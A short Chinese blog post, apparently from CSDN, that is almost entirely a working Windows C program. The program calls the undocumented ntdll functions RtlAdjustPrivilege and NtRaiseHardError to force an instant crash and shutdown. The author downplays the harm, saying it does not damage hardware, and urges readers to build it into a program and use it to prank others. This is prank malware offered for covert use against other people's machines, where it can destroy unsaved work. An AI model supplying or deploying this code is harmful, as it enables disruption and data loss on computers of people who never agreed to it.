二话不说,先上代码:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr);
return 0;
}
这个代码主要是让你猝不及防,快速关机的程序,并不破坏电脑主板。
赶紧把它写到程序里,去恶搞去吧!!!
来源:CSDN
作者:苦小帕
链接:https://blog.csdn.net/weixin_46214322/article/details/104060807